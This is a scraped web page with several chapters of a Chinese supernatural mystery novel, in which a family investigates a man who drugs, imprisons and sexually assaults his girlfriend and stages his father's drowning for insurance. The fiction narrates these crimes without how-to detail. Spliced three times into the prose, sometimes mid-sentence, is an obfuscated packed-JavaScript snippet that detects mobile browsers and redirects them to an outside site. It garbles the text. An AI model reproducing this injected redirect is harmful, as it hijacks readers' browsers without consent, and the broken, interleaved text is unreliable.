看到房东还想拿一瓶新的空气清新剂,她连忙上前阻止:“停停停!您别喷了,这房我们租了,咱们快去签合同吧!” 此话一出,房东先生也立马停下手,迅速奔出卫生间大口呼吸。 签完合同后,房东不舍地看着屋子里的东西,问她们:“这些,你们真的都要?” 安月素微笑点头:“都要。” 安凉摆着那张面无表情的脸,反问他:“您之前说过,屋子里的东西都给我们留下,不能反悔。” “你瞅瞅这孩子说的什么话!叔叔再怎么样也不至于那么没品奥!”房东瞪着眼睛,“我的意思是用不用我找保洁给你们收拾一下。” 安月素笑笑:“不用不用,我和我女儿都很享受收拾新家的过程。” 安凉跟着点头:“没错。” * 下午6点多,月光小区新租下的公寓里。 安月素和安凉坐在被擦拭一新的客厅沙发上吃着水果,周围的几个房间不停传出“刷刷刷刷”的声音。 每隔一会儿,楚雄或者楚暴就会端着脏水盆,拎着脏毛巾从某一个房间出来,进入卫生间。 很快,他们再次端着一盆干净的水和干净毛巾从卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977586|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间出来,穿过客厅,回到房间继续“刷刷刷刷”。 历经十几分钟,经历几十次的穿行后,父子俩终于脱下围裙,摘掉手套,坐到沙发上。 楚雄转身对两位女士说:“两位女王大人,能擦拭的地方都已经擦试过了,既消灭了灰尘,又没有破坏证据,二位可以去搜查了。” 安月素和安凉点点头,放下手中的水果,起身进屋了。 王慧丽毕竟是一个女孩子,她们这次过来是要查看她的隐私,所以搜查工作只由同为女生的安月素和安凉来做。 但遗憾的是,两人翻遍了王慧丽的房间,还是没能找到任何线索。 王慧丽的生活看起来很简单,房间里的东西并不多。 安凉本来想找到日记本或者电脑,这些东西上往往会留下生活痕迹。 但可惜,王慧丽似乎并没有记日记的习惯。 房间里倒是有一根网线,书桌上也有笔记本电脑压过的痕迹,但现在那里是空的。 或许王慧丽确实有个笔记本电脑常摆在那里,只不过被赵白拿走了。 这个房间里唯一亮眼的地方,就是各种各样的照片。 王慧丽好像很喜欢照相。 墙上挂的,桌子上摆的,到处都是王慧丽的照片。 安凉大概数了下,这间屋子里一共有一百多张照片。 在这些照片里,只有一张王慧丽小时候的照片。其余的,都是近两年王慧丽工作后的照片。 安凉还发现,楚雄之前偷的那条金项链就是王慧丽的。 楚暴不知道什么时候站到她身后,突然道:“王慧丽高中毕业后就被他爸妈逼着辍学打工,其实她已经被一所大学录取了,但他爸妈觉得,就赚钱养家来说,高中的学历已经足够了。” 他看着这些照片:“这些照片应该是她打工后开始拍的。” 有些照片不太清晰,王慧丽的穿着打扮也土里土气,当时的王慧丽应该没什么钱。 安凉点头:“这时候的她应该没钱买一部好手机,看起来也没有那么开心。” 楚暴用手指在后面的照片上虚空点着,慢慢地猜测道:“不过很快,她就攒下了一些钱,每个月的工钱寄回家一大部分,给自己留一小部分。她省吃俭用,连件新衣服也不舍得买,每天都只有两件衣服换来换去。几个月后,她终于攒够买一部新手机的钱。她的照片越来越清晰,辍学的悲伤也逐渐在她的脸上掩埋起来,她的笑容变得越来越灿烂。她开始有闲钱给自己买漂亮衣服。打工的第三年,她遇到了赵白,她的笑容变得更加灿烂了——诶?还挺有规律的。“ “什么规律?” 楚暴将照片拿下来,按照拍摄时间依次摆在床上。 王慧丽是高中毕业那年的7月份开始打工的。 楚暴将第一年7月份到12月份的照片摆成一排,又将第二年按同样规则摆在第二排,最后,第三排只摆到7月份。 “你看她的笑容!”楚暴在照片上方画圈,“像不像一个循环?从她打工开始,她的笑容从心事重重变得越来越灿烂,遇到赵白后,她的灿烂值到达最高点,然后到今年7月份,她的笑容又重新变回心事重重,好像转了一圈后,又回到了原点一样。” 11. 2单元101(7) 没查到有用的线索,几人只好将照片收起来,再给房子换了个门锁,在外面吃了晚饭后才回家。 走到小区门口时已经将近十点钟了,没想到在小区门口碰上了刚回家的赵白。 安月素:“小赵?今天回来得这么晚?” 小赵点头:“今天多接了两单。” 楚雄看向他手上拎的几个外卖袋:“这是还没送完?” “不是,这是我们自己吃的,”赵白笑着道:“我爸今天过生日,晚上好好庆祝一下。” * 进了家门,四人疲惫地瘫到沙发上。 安月素:“楚雄夜探101的事情已经过去两天了,赵白肯定发现家里进贼了,他果然不打算报警了。” 楚雄嗤笑:“报警?这小子敢报警吗?看警察来了先抓谁!该说什么庆祝生日,我看就是给王慧丽吃的断头饭!” 楚暴抱着胸:“都已经第三天了,我觉得我们现在连一半的线索都没有掌握!” 安凉倒很乐观:“不一定,也许我们现在掌握的线索就是全部了,只差正确地将它们排列组合。” 楚雄点头:“一个普通人家能有什么大事情发生,我最近看了很多真实案件,很多事情看似扑朔迷离,揭开真相后,都简单得不得了。所以,我们也想得简单点。也许就是王慧丽跟过来后,发现赵白的父亲瘫痪,她一时难以接受,想要分手。赵白不想分手,他爱而不得,因爱生恨……就把她囚禁了。” 安月素长叹一口气:“也许吧,不过还没到最后一刻,我们还不能轻易下结论。” 她揉揉太阳穴,说道:“你们先回去休息吧,我在沙发上再坐一会儿。” 第四天 安月素猛地从沙发上惊醒,她恍惚了一下,拿起手机看了看时间。 已经凌晨4点了。 她起身给自己倒了杯水,又重新坐回去,盯着茶几上的照片看。 突然,她像发现什么一样,啪一下将水杯放下,俯身翻动照片。 三分钟后,她将熟睡中的楚雄喊醒。 “嗯?”楚雄睡得迷迷糊糊的,“咋了老婆?” 安月素居高临下俯视着他:“赶紧穿衣服,跟我去趟月光公寓。” * 安月素开车带着楚雄前往月光公寓。 一坐上车,安月素就嘱咐楚雄搜索公寓周边的药店。 楚雄通过地图共搜索出三家药店。 安月素按着导航前往最近的一家。 药店里只有一个工作人员在值夜班。 安月素进门后,拿出王慧丽的照片递给工作人员。 “你好,我想查一下这个女生在你们这里的购买记录,她叫王慧丽。” 工作人员委婉拒绝:“不好意思,我们不太方便透露这些信息。” “呜呜呜——” 楚雄突然哭起来,把工作人员吓了一跳。 “对不起啊,小伙子,我失态了。” 他擦擦眼泪:“是这样的,这个女生是我们女儿,我们前不久知道她得了一种很严重的病,但她怕我们担心,一直不告诉我们,她就住在旁边的月光公寓,所以我们想着,能不能看看,她都在药店里买过什么药,万一有线索呢,我和她妈也好有个心理准备。” 楚雄彻底进入了角色,似乎自己真是一个即将失去女儿的父亲,哭得鼻涕一把泪一把。 明知道他在演戏的安月素也不禁眼眶发热,更别提工作人员了。 “叔叔,你别伤心了。”小伙子拿出纸巾盒递给楚雄,走到电脑前,“我们这里只能查到会员的购买记录,我试试看能不能找到。” * 楚雄和安月素之后又用了同样的方法在其他两家中的一家找到了王慧丽的购买记录。 最后一家可能是离得更远一下,并没有王慧丽的购买记录。 二人坐回车上,仔细查看。 王慧丽几乎每隔几天就会买回来一堆外伤要用的东西。 他们是经常受伤的习武之人,从这些药瓶的名称中就看出来王慧丽伤势的轻重。 看上去,接近王慧丽失踪事件的几次都伤得很严重。 回程的路上换楚雄开车。 “这伤不会是赵国强打的吧。” 安月素摇头,笃定道:“是赵白!” “赵白那副怯懦的样子,看上去可不像是有暴力倾向的人。” 安月素笑了一下:“人不可貌相。王慧丽在遇到赵白之前,哪怕是和赵白交往的前两个月,她的穿衣风格都一直是辣妹风,爱穿一些性感暴露的衣服。但是从和赵白交往的第三个月后,她拍照的时间不仅总会间隔几天,而且她还开始穿一些高领长袖的衣服。这样的衣服,之前的王慧丽基本不会穿。所以我怀疑,从那时候起,王慧丽身上就已经开始带伤,当时王慧丽还没有搬过来,所以,在她身上施暴的人,是赵白。” * 凌晨6:00。 天还是亮了。 离期限只剩6个小时。 如果在今天12:00之前,他们一家没有找到2单元101里的真相,异世界的大门就会在她们手里被打开。这片天,也许再也不会亮了。 可是现在,赵白为什么要囚禁王慧丽,赵国强在这个事情里究竟扮演了一个什么样的角色? 还有很多问题,她们都还不知道。 与此同时,早起练功的安凉和楚暴,也不约而同地停下来,看着今日格外漂亮的日出。 楚暴捂上心脏。 他只有在姐姐遭受生命危机时才能和她产生心灵感应,可现在他姐好好地立在他旁边呢,这心跳怎么这么快? 楚暴转头看着安凉:“姐,你危机了?” 安凉白了他一眼,转身走了。 刚走没两步,安凉就接到了安月素的电话。 挂了电话后,刚被白了一眼的楚暴贱兮兮地凑过来:“姐,是老妈给你打电话?她说什么?” “她说,把墙扒了。” “……啊?” * 6:15。 赵白刚一出门,就看到抬起手准备敲门的楚暴。 楚暴一下子笑开:“诶,我刚想敲你家门呢。” 赵白正疑惑着,肩膀就被拥住了。 “兄弟,我们家打算换瓷砖,你今天别送外卖了,来帮我们忙呗!” 赵白瞪大眼睛,刚想拒绝,就被堵住了话头:“我在这儿就有你这么一个朋友,你不会这么不够意思不帮我忙吧!行了,你也不用换衣服了,我家里有干活的外套,你到时候套上就行。” 楚暴说着,将他家的门关上,拉着赵白往外走。 赵白还是想拒绝,犹豫道:“我给你们找个装修工人吧,人家专业的,铺得好一些。” 楚暴拍着他肩膀:“该赚赚,该省省,我家墙一直就是自己贴的,只不过最近我爸妈有事忙,让我和我姐自己干,我这不就想到你了吗!” 楚暴又哥俩好地拍拍他的肩膀。 赵白心里直冒问号。 不是……他什么时候和这家伙处成哥们了?!不就见了那么几面吗?!连话都没怎么说过! * 这边上演着哥俩好,另一边,“有事忙”的楚雄和安月素窝在小区门口早餐店里吃早餐。 等了十几分钟后,安月素终于等来了楚暴发来的消息。 安月素收起手机,抬头对楚雄说:“可以行动了。” * 楚暴躲在房间里,翻看赵白的手机。 惊讶发现,这家伙的手机干净得和他的名字一样——一片空白。 浏览器上所有搜索记录都被删除了,手机上的软件也少得可怜。 只有外卖众包,淘宝,微信和一个监控软件。 打开监控,从上面只能看到101的客厅。 他揣好手机,拿着水平仪转身走回客厅。 “小赵哥!水平仪在这儿!哦,还有,你的外套我给你放好了。” * 安月素放风,楚雄开锁,半分钟后,两人悄无声息地进入101。 楚雄一进来,就从鞋柜上顺走一块抹布,挡住监控器。 “万一警察之后来检查监控,咱们就不好解释了。” 赵国强的门开着,里面没有人。 但卫生间里隐隐传出电视剧的声音。 安月素了然:“赵国强应该是在泡澡。小声点,别惊动他。” 楚雄小声道:“就算惊动又能怎样?赵国强都瘫痪了!” 安月素摇头:“能不打草惊蛇就不打!正好,你去赵国强房间搜一搜,我去赵白房间,记住,别磨蹭,乱七八糟的东西别拿!” “……好。” * 安月素在赵白的房间里翻了一圈,搜出来一堆有嫌疑的东西——王慧丽的笔记本电脑和手机、一本病历,、几份保险合同。 除此之外,赵白的枕头下还压着一本孕妇指南。 安月素简单翻了翻,里面全是讲怎么照顾孕妇的。 赵白看这个干什么? 她放下这些东西去找楚雄。 “你搜到了什么?” 楚雄摇头:“这房间什么都没有,全是一些生活用品。” 安月素又找了一遍,确实什么都没找到。 “赵白应该不会把重要东西放在这个房间。” 王慧丽的电脑和手机里的各种记录都没被删除。 也不知道赵白是太过自信这些不会被人看到,还是没有想到这一点。 两人翻阅着王慧丽社交软件上面的聊天记录,浏览记录,支付记录等一系列使用痕迹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977587|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从王慧丽的聊天记录中,他们发现,王慧丽虽然有很多打工时认识的好姐妹,但都不算很亲近。 当她以“失恋旅游”的方式消失在大家眼中时,没有一个人想要追根究底地查找,大多数人在主动联系几次无果后就没有了后续。 不知道是不是初恋的原因,王慧丽在和赵白交往两个月后,就已经对赵白死心塌地。 她和姐妹的聊天中屡次提到自己正和赵白备孕中。 她确实对怀孕这件事非常期待,买了很多备孕的书籍, 安月素又查看王慧丽和赵白的聊天记录。 发现不光是王慧丽,就连赵白也和她同样期待怀孕这件事。 两人约定着,宝宝到来后,他们就立马结婚,然后攒钱买一家小吃店店面。 那是两人最浓情蜜意的时候。 之后,记录中更多的则是争吵,道歉和原谅。 安月素接着往下看,惊讶发现,王慧丽竟然在今年的7月1日早上买过一盒紧急避孕药。 前一天,赵白和王慧丽并没有多少聊天记录。 只知道,王慧丽30号白天去了一次赵白家里,中午的时候,王慧丽回了月光小区,给赵白打了10多分钟的视频电话,打完后,赵白说要来月光小区。 再之后就是晚上9点多。 王慧丽给赵白发消息说分手,从两人争吵中知道,赵白下午又打了王慧丽,这次有些严重,赵白不停在道歉,但对话中始终没有提及上午到底发生了什么事。 赵白接着说赵国强睡了,叫她去家里聊一聊。 王慧丽不答应,让他来月光小区。 赵白说公寓小,太晚了,吵架会影响别人休息。 王慧丽许久后回了个“好”。 这也是王慧丽发的最后一条信息,之后再也没有聊天记录了。 这之后,就是第二天早上,她通过外卖平台买了一盒紧急避孕药。 旁边的药店都很近,她为什么要通过外卖来买?更奇怪的是,她特意备注让藏在鞋柜上? 安月素立即给安凉发消息,让她去王慧丽家的门框上看看有没有东西。 她找到这位骑手的主页,打电话过去,还好能接通。 对方似乎也对这个订单记忆颇深,向她回忆道:“那个女的是挺奇怪的,让我把外卖放到门口鞋柜后藏着。我到地方后给她打电话,听起来她像是在大街上,说是她在往回走一会儿就到了,让我藏好。特别小的声音,就像怕被谁听到一样。” 安月素撂下电话后,思索着这段话。 当时王慧丽应该是从这里往家走,但是身后不远处有人在跟着她,她怕那个人知道她买避孕药,所以才会有这一系列奇怪的举动。 跟着她的那个人应该是赵白。 但王慧丽为什么那么怕赵白知道她买避孕药。 赵白又为什么要偷偷跟着她? 她的思绪被楚雄打断。 楚雄刚好看完病历和保险合同,说道:“赵白确实给赵国强买了好几份大额保险,总保额有300多万,受益人都是赵白。另外,这份病历是赵白的。他有非梗阻性无精症。” “无精症?!” 病历上面显示,赵白有非梗阻性无精症,在今年的6月2号确诊,之后接受了很多次治疗,但均未有效果。 他最后一次看病的时间是在6月25号,上面显示,□□活检中仍未找出成熟精子。 那之后,赵白再也没去看过病。 楚雄唏嘘:“赵白他妈妈的遗愿就是赵白早点儿传宗接代,看来这是彻底没指望了。” 安月素听着这话,突然有一个可怕的念头出现在脑海里。 她站起身,沉重道:“我有一个很可怕的猜测。” “什么?” “我们现在去看看王慧丽吧。” 楚雄这些天特意学习了新技能,几下就打开了主卧的门锁。 房间内昏暗,窗帘被拉得严严实实。 中央的大床上,王慧丽一动不动地被躺在床上,身上盖着厚厚的被子,没有被盖住的地方能看到有绳索捆绑。 四面墙都被贴上了厚厚的隔音材料。 安月素走上前叫了几声,王慧丽一点儿反应都没有。 楚雄拿起床头柜上摆着的安眠药瓶子和水杯,说道:“她被下了安眠药。” 安月素上前将被子掀开。 只见王慧丽侧躺在床上,身形比照片上胖了很多,肚子已经隆起。 胳膊和腿上有被殴打的伤口,伤口刚刚结痂,下手的人顾及她的肚子,没有打到肚子上。 楚雄被这一幕吓了一跳:“老天爷,她竟然怀孕了,不对……赵白不是有无精症吗?这个孩子是谁的?她出轨了?所以赵白才把她绑起来?” “不,这个孩子是赵国强的。” 12. 2单元101(8) “赵国强!”楚雄瞪大眼睛,“怎么会是赵国强的?赵国强不是瘫痪了吗?” “偏瘫的人也是会有性能力的,何况,他还有赵白这个帮手。” “赵白?” “你是说赵白帮他爹□□他女朋友?” 安月素打开灯,房间角落里放了很多孕妇用品和保胎产品,奇怪的是,还有一台架子鼓。 “他在这里练架子鼓?”楚雄摆弄着那架鼓,很奇怪。 安月素摇头否认:“他应该是用这个掩饰这些隔音材料的真实目的,他怕警察来调查时有疑心。” 楚雄看向躺着的王慧丽:“他最害怕让人看到的应该是她吧。” 这么想着,他弯腰掀起床单,拉出床下的柜子。 “里面果然铺着毯子,还有很多孕妇用品,如果有人来,赵白就可以将王慧丽弄晕放进来,如果只是调查赵国强的死亡原因,应该不会有人来看床底下。” 安月素点点头,这时手机响了一下,她打开一看,安凉已经发来信息。 王慧丽家的门框上没有避孕药,但是在餐桌下找到一盒紧急避孕药,像是被人摔到地上的一样,药盒散开了,有一板上少了一颗。 安月素知道了。 王慧丽那天确实成功回到了家,也吃了药,但这件事还是被赵白知道了,他摔了药后,将王慧丽绑架回101,之后王慧丽再也没走出来过。 “赵白用药物迷晕了王慧丽,让赵国强和她发生了关系,他本想骗王慧丽是自己和她发生的关系,但他后来发现王慧丽在吃避孕药,就知道事情败露了,于是将她绑了回来。” 她将避孕药的事情告诉楚雄,楚雄震惊了半晌,感叹一句:“论女生学一门功夫有多重要。” 安月素:“……” 楚雄总结:“赵白这么想要王慧丽肚子里的孩子,肯定不会杀她,这么说,今天要死的人不是她,而是赵国强?真是没想到转了一圈,结果还是杀父骗保!” 可能也是有恨吧,他心里叹道。 安月素看着他,惊到:“如果赵白要杀赵国强,那只可能是让他——” 楚雄:“意外死亡!怪不得这小子现在还没有下来,原来他是在等着人自己死呢!” 突然,房间里的灯骤然变暗。 床上昏迷的王慧丽“砰”地一下直直坐起来,五官渐渐弯成弧线,像是整张脸一起在笑,嘴巴一张一合,机械道: 【警告,3单元101的受害者生命受到威胁!请清理家庭尽快实施行动!】 【警告!受害者的生命开始流逝,倒计时——10分钟!】 房间又一下子恢复正常。 二人不敢耽误时间,赶紧来到赵国强洗澡的卫生间。 里面的电视剧声音仍然在响着。 楚雄没有犹豫地推开门。 浓烈的白酒味混着热蒸汽扑面而来,电视机里的相声放得很大声。 赵国强已经昏迷着滑落到充气浴缸的底部,水龙头哗哗淌水,水位已经淹没到他的鼻孔。 楚雄挡住安月素的视线,扯过浴巾,唰一下甩到赵国强的下半身上,然后走上前,一手捞赵国强的脑袋,一手关水龙头,结果发现水龙头根本关不上。 楚雄:“这个水龙头有问题。” “赵国强怎么样?” 楚雄将赵国强放到一边,探了探鼻息:“还有气。” 他关掉水阀,检查了一下水龙头,说道:“水龙头的阀芯被做过手脚,只要打开一次就会被彻底冲坏,再也关不上。赵国强一定是泡了一会儿后,迷迷糊糊地嫌水凉,想要放热水。他喝醉酒,又偏瘫,发现不对劲也没办法了。” 楚雄在卫生间里随便翻找一下,找到一个一模一样的完好水龙头。 他解释道:“充气浴缸被放在正常使用的浴缸内,水溢满充气浴缸后,会流进正常使用的浴缸,正常的浴缸有安全排水孔,按照水龙头的流速,排水孔的水完全可以使水淹不到卫生间的地上。 当赵白回来后,将水龙头换掉,赵国强就会被认为是醉酒后意外溺亡在浴缸里。” 安月素点头:“真是让赵白费心了……这酒味可真大。” 楚雄拿起掉落在浴缸里的酒瓶:“度数这么高,明摆着想让他死。” “赵白不会做得这么明显。”安月素琢磨,“这瓶酒一定是他设计赵国强偷拿的。” 楚雄将赵国强搬到一边,抬头笑道:“现在我们只要找出这瓶酒的来源,就可以还原真相了。” 安月素点点头,拿出手机给楚暴发消息。 抬头时,看到楚雄在摆弄赵国强的手机。 她刚想问他看到了什么,就见他侧过头,点了下屏幕,随后浴室里就响起一阵不可描述的声音。 有赵国强的,有赵白的,唯独没有王慧丽。 但安月素和楚雄都知道,视频上一定有她,所以谁都没有看过去。 楚雄关上视频,声音难得严肃起来:“我那天晚上听到了赵国强在看□□视频,但我没想到主角就是王慧丽。这样的视频还有很多,最早是6月30号上午11多拍的,最后一个是7月15号,应该是第二天的时候,赵白确定她怀上了。” 安月素叹气:“怀得这么顺利,也不知道算不算是上天在帮她。诶?等等,你说最早是什么时候?” “6月30号上午11点多。” 安月素拿过手机,点开第一个视频,终于知道了王慧丽那天为什么会和赵白吵架。 * 安凉走后,楚暴一个人无所事事地守着赵白。 接到老妈的消息后,他假装偷懒溜回房间,然后拿出赵白的手机,调取出他家近几天客厅里的视频发给安月素。 这时候,赵白突然在客厅里叫他。 “小楚?” 楚暴迅速将手机放回去。 “哎!来了来了!咋了小赵哥?” “你又去哪儿偷懒了,你过来看看这里齐不齐?” 楚暴原本还有些紧张,以为赵白是找他要手机。 他都已经想好了说辞,但没想到赵白只是让他出去干活。 楚暴这时候才觉得有些奇怪。 一个每天手机不离手的外卖员,就算不用手机接单了,出于习惯,难道不会时常想看下手机吗? 楚暴看了眼墙上的钟表。 已经过了半小时了,赵白竟然没找他要过一次手机。 而且,现在都11点50了,这小子还不回去杀人? 不是说受害者12:00会死吗? * 安月素倍速查看监控视频,终于在昨晚的晚餐桌上看到了这瓶酒。 她用正常的速度观察这顿饭吃完后的画面,主要观察这瓶酒最后的去向。 她看完后,将手机递给楚雄:“你看一遍视频,看看能看出什么?” 楚雄看了一会儿,笑道:“赵白收拾桌子时,在故意避开这瓶酒。” “没错,赵白故意将酒留在赵国强左手边,并且刻意避开视线,赵白买那么多菜,应该不只是为了给赵国强庆祝生日,也是想给赵国强制造偷酒的机会。他一定知道赵国强会将酒留到第二天泡澡的时候喝。” 她看了眼浴缸旁边的衣服,说道:“赵白还特意给赵国强换上了一件厚外套,因为这种衣服藏东西更方便。” 前几天的监控里,赵国强的衣服可都是很薄的家居服。 楚雄感叹着摇头:“赵国强轻易就将酒带进了浴室,藏进身后的柜子里,他一定在窃喜自己躲过了儿子的眼睛,但其实,这一切赵白都清清楚楚。” 安月素收起手机:“这段精彩表演,应该是赵白故意拍给警察或者保险公司看的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977588|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 楚雄看了看手表:“11点53了,赵白应该不会下来了,我们上去找他吧。” 安月素点点头:“好。” 两人刚迈开脚,卫生间的灯突然闪烁几下,随后唰一下变成红色。 浓郁的血腥味袭来,两人似乎一下子回到了几天前的异世界。 但一切只停留了一秒钟,又都恢复正常。 * 另一边,安凉和楚暴也同样有一瞬间似乎闪回到之前到过的异世界。 二人心里一震,心有灵犀地对视一眼。 楚暴看向墙上的时钟:“姐,就剩5分钟了。” 安凉也望过去:“嗯。” 楚暴活动两下肩膀:“我怎么这么紧张呢?” 安凉安慰他:“正常。” “可是之前我自己在异世界的时候也没这样啊。” 楚暴嘟囔完,转头看到安凉那副风雨不动表情,不禁道:“不是亲姐,你好歹也紧张一下啊,不然我一个人紧张,显得很怂一样。” 安凉转过头:“放心,有人陪你。” “啊?” 楚暴疑惑地顺着看过去,意外见到赵白整个人十分慌张,精神飘忽,连瓷砖都贴歪了好几块。 怪不得他和他姐都偷懒这么久了,这哥们还没发现,合着是没顾上他们。 楚暴心里顿时就平衡了,还有人比他更紧张呢。 他跑到餐桌上抽了张纸巾,又来到赵白身边。 “小赵哥!你怎么……出了这么多汗?!” 楚暴的声音一出来,赵白直接被吓得一哆嗦。 “我……我就是有点儿累。” “哦!我知道了!”楚暴一副心领神会的样子,神秘兮兮地捂着嘴,凑到他耳边小声道,“小赵哥,我有个哥们卖鹿鞭,要不要帮你要一份?” 小赵:“……” 楚暴呲了呲牙,回到安凉身边。 “唉,姐,我是真想安慰他,放轻松,别紧张,不就是鲨个人嘛!” * 在夫妻俩快步往楼上走,虽然只用了十几秒,但真实世界和异世界已然又发生了好几次交换,且越来越频繁。 二人打开门的瞬间,看了眼手表:还是11点53。 门一开,安凉和楚暴顿时站了起来。 看到爸妈冲他们点了点头。 姐弟俩都松了一口气。 赵白站起来,笑着打招呼:“安姨,楚叔,你们回来啦!” 楚雄点点头,转身关上门,然后转头对安凉道:“小暴,用刀吧。” 因为怕时间上来不及,恶鬼刀一直在楚暴手里。 赵白茫然又好奇地看向楚暴。 用刀? 用刀贴瓷砖吗? 他看到楚暴朝他走过来,偏头冲他笑了笑。 真好看啊,他笑起来像天使一样。 他这么想着,心脏猛地一痛。 他又茫然地低下头去,震惊地看着插在他心脏上的刀柄。 恶鬼刀插入赵白心脏的瞬间,频繁交换的世界最终定在异世界中。 整个世界变成了红色,“面开始渗血,空中啪啪啪地打出一排血淋淋胸““的字。 【恶鬼刀已插入,请清理家庭还原真相,异世界侵入倒计时——5分53秒。】 赵白握着刀柄,坐在地上,恐惧地看着这一切。 他想要说话,可没想到一张嘴却吐出十几条长长的锁链。 “啊?!啊!” 赵白的嘴被撑满,啊啊叫着,不知道该怎么办。 他感觉皮肤下面像是有什么东西,抬起手臂一看。 顿时瞳孔一震,无数条铁链像是虫子挤在他的手臂里翻搅,每一下都像要将皮肤撑破。 下一秒,他觉得自己的眼球里也出现了缠绕翻滚的细小锁链。 13. 2单元一楼(完) “赵白,你想知道赵国强究竟有没有按照你的计划被淹死吗?” 赵白瞪大眼睛,他的眼球几乎被那些锁链填满,但安月素还是看出来了,他的眼神在问:你怎么会知道?! 安月素笑了一下:“我知道的可不只有这件事,这几天,为了调查你的秘密,我们四个人可费了不少事。” 赵白:“你们……你们是什么人?!你们查我干什么?!” 楚暴上前两步:“行侠仗义,斩妖除魔!你没看你都要异变了吗?!你马上就要变成妖怪了!妖怪就爱寄生在你们这些坏人身上!我们也是在救你!” 安月素伸手将楚暴拽回来,接着道:“赵白,你不介意我说说你的故事吧。” 赵白身上涌动的锁链让他的身体逐渐臃肿,他努力张开肿胀的嘴唇,刚想要说话,就被塞进去一整个苹果。 楚暴拍拍手,退回到安月素身后。 赵白茫然地瞪着眼睛,看到安月素冲他点了一下头,然后道:“既然没有意见,那我们就从你母亲去世开始讲起吧。” 赵白根本不想听什么故事,他只想把身上这些绳索弄走,它们好像要占据他的身体一样,他疼死了。 安月素看着赵白那双装满锁链,却像孩子一样无辜迷茫的双眼,难以想到这双眼睛的主人曾经做过多么可恶的事。 “你的家庭并不幸福,你的爸爸家暴,几乎不回家,所以你和母亲算是相依为命。后来,你大学毕业不久,你的母亲就病逝了。你觉得她是这个世界上唯一对你好的人,她的去世让你伤心不已,不过你更遗憾的是还没来得及回报母亲,你能做的就只有努力完成母亲的遗愿——找个媳妇,为赵家传宗接代。” 赵白浑身疼痛,现在,他的脸皮下也已经隐隐有锁链翻滚显形,但随着安月素的缓缓讲述,这些锁链翻滚的速度似乎放慢了。 安月素的话,似乎把他带回到当初那个抚摸着母亲冰冷尸体,遗憾又无助的自己。 他的眼泪开始在锁链缝隙中游走。 “那之后,你对公司里的一个叫王慧丽的女孩儿动了心,你对她展开了追求。很快,你们成功在一起了。 刚开始,你们过的很快乐。你是真心喜欢这个女孩儿的,了解她的家庭后,鼓励她脱离吸血的原生家庭,独立生活。你们的感情进步飞速。可是,渐渐的,你发现自己在和女朋友的相处中越来越暴躁,经常控制不住自己的情绪,你们总是吵架,甚至到后来,你变得和你父亲一样,总是暴力殴打王慧丽。 王慧丽几次想提出分手,但都被你的忏悔挽留。 你想要改变。 之后的一段时间,你果真没有再打她。 改变初有成效,你顺势提出想和王慧丽有个两人的结晶。王慧丽同意了。 从那以后,你们开始备孕。 但当一切都在走向美好时,又有一个突发事件的发生让你措手不及——你爸瘫痪了。 虽然你对这个爸恨之入骨,但深受懦弱母亲影响的你却没办法放任瘫痪的他自生自灭。 一番思考后,你决定辞掉保险公司的工作,带着赵国强到县里租房送外卖。 王慧丽不想和你分离异地,一个月后,她也跟着辞职搬了过来。 你感谢她的付出,于是花钱在不远处的月光小区租了间公寓。 王慧丽暂时没找到新工作,白天偶尔会过来帮你照看赵国强。 赵国强是偏瘫,有一部分行动能力,可以自己上厕所,王慧丽不需要做什么,只是坐在旁边偶尔看一下就行。 但是你没想到,他竟然会禽兽到性骚扰自己儿子的女朋友。 那天上午,王慧丽又去照顾赵国强,他却趁着王慧丽熟睡时伸出了咸猪手。 王慧丽惊醒,夺门而出。 她回到家后和你发视频哭诉,你赶忙去安慰她,但在这期间,你们发生了口角。 你没忍不住,又出手打了她。 这次,她死了心提出分手。 也就是那天下午,你得知,你的无精症基本不会有治好的可能了。 你突然萌发出一个可怕的念头——让王慧丽怀上赵国强的孩子。这样也算是给赵家传宗接代。 你知道,这种荒唐事王慧丽一定不会答应,于是你将她叫到家里,偷偷给她下了安眠药。之后,你协助赵国强□□了她。 你本以为王慧丽第二天醒来,会迷迷糊糊地认为和她发生关系的人是你。 可是第二天早上,你察觉到她表现得有些不对劲,你疑心她发觉了什么,于是偷偷跟在她身后。 你一路跟着她回了家。 看着她没有异常地进了家门,你还是不放心。 你直接开门进了屋,没想到刚好撞见她在吃避孕药。 王慧丽知道了昨晚发生的事情! 你不知所措。脑袋一冲动,干脆将她囚禁了起来。 那之后,你一不做二不休,开始慢慢营造王慧丽死在国外的假象。 你对王慧丽的家庭和人际关系十分熟悉,你知道这样做,没有人会主动找她。 你将她囚禁起来后,频繁给她下药,让她和赵国强发生关系。 在过程中,你自己也会加入进去。一方面,是受欲望的驱使,另一方面,你也希望王慧丽怀上的是你的孩子。 